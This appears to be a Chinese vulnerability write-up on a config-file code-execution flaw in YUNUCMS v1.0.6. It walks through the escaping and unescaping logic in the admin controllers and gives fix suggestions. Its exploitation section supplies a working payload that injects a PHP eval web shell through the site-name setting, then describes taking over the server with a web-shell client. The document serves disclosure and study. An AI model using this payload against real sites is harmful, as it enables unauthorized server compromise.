0x00 环境准备
QYKCMS官网:http://www.yunucms.com
网站源码版本:YUNUCMSv1.0.6
程序源码下载:http://www.yunucms.com/Download/index.html
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/app/admin/controller/System.php 第8-24行:
- public function basic()
- {
- $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
- if(request()->isAjax()){
- Config::load($coffile, '', 'sys');
- $conflist = Config::get('','sys');
- $param = input('post.');
- unset($param['file']);
- $param = add_slashes_recursive($param);
- 10.
- 11. $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;
- 12. $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;
- 13.
- 14. setConfigfile($coffile, array_merge($conflist, $param));
- 15. return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);
- 16. exit();
- 17. }
这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:
2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:
- foreach (config('sys') as $k => $v) {
- config('sys.'.$k, strip_slashes_recursive($v));
- }
这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。
综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。
0x02 漏洞利用
1、登录后台--常用菜单--基础设置--网站名称--填写Payload:
Payload:',1=>eval($_POST[g]),'xx'=>'
2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。
3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。
4、通过直接访问脚本文件,触发脚本代码:
5、通过菜刀连接,成功控制网站服务器
0x03 修复建议
1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。